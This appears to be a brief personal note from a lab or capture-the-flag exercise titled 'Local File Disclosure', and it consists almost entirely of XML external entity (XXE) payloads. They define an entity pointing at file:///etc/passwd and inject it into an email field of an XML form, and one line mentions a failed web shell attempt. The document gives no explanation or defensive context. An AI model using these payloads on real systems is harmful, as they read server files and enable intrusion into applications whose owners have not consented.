Local File Disclosure

PS -> I tried the web shell but it doesn't work

<!DOCTYPE email [
  <!ENTITY company SYSTEM "file:///etc/passwd">
]>

&company;

---------------------------------------------------------------------------------
<?xml version="1.0" encoding="UTF-8"?>

<!DOCTYPE email [

  <!ENTITY company SYSTEM "file:///etc/passwd">

]>
<root>
<name>first</name>
<tel>asd123</tel>
<email>&company;

</email>
<message>ahhahaha</message>
</root>